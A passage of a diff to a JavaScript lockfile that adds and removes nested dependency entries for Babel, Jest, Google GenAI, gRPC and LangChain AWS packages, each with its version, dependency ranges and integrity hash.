- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
@@ -7421,21 +6695,13 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
- "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+ "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
- "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+ "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
- "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+ "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
- "@google/genai/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
-
- "@google/genai/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
-
- "@google/genai/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
-
- "@grpc/grpc-js/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@grpc/proto-loader/protobufjs/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
"@headlessui/react/@tanstack/react-virtual/@tanstack/virtual-core": ["@tanstack/virtual-core@3.13.12", "", {}, "sha512-1YBOJfRHV4sXUmWsFSf5rQor4Ss82G8dQWLRbnk3GA4jeP8hQt1hxXh0tmflpC0dz3VgEv/1+qwPyLeWkQuPFA=="],
@@ -7445,52 +6711,36 @@
"@istanbuljs/load-nyc-config/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
- "@jest/console/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "@jest/core/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@istanbuljs/load-nyc-config/js-yaml/argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
"@jest/core/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@jest/environment-jsdom-abstract/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@jest/environment-jsdom-abstract/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
- "@jest/environment/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@jest/environment/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
+
+ "@jest/environment/@jest/fake-timers/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
+ "@jest/environment/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"@jest/expect/expect/@jest/expect-utils": ["@jest/expect-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0" } }, "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA=="],
"@jest/expect/expect/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "@jest/fake-timers/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@jest/expect/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
- "@jest/pattern/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@jest/expect/expect/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
- "@jest/reporters/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@jest/fake-timers/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+
+ "@jest/fake-timers/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+
+ "@jest/globals/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"@jest/reporters/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "@jest/reporters/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
"@jest/reporters/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
- "@jest/transform/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@jest/transform/@babel/core/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@jest/transform/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
-
- "@jest/transform/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
-
- "@jest/transform/@babel/core/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@jest/transform/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@jest/transform/@babel/core/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@jest/transform/@babel/core/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@jest/transform/@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@jest/types/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-DTKHeH1Bk17zSdoa5qXPGwCmZXuhQReqXOVW2/jIVX8NGVvnraH7WppGPlQxBjFtwSSwVTgzH2NVPgediQphNA=="],
@@ -7523,12 +6773,6 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -7549,12 +6793,8 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -7569,16 +6809,12 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
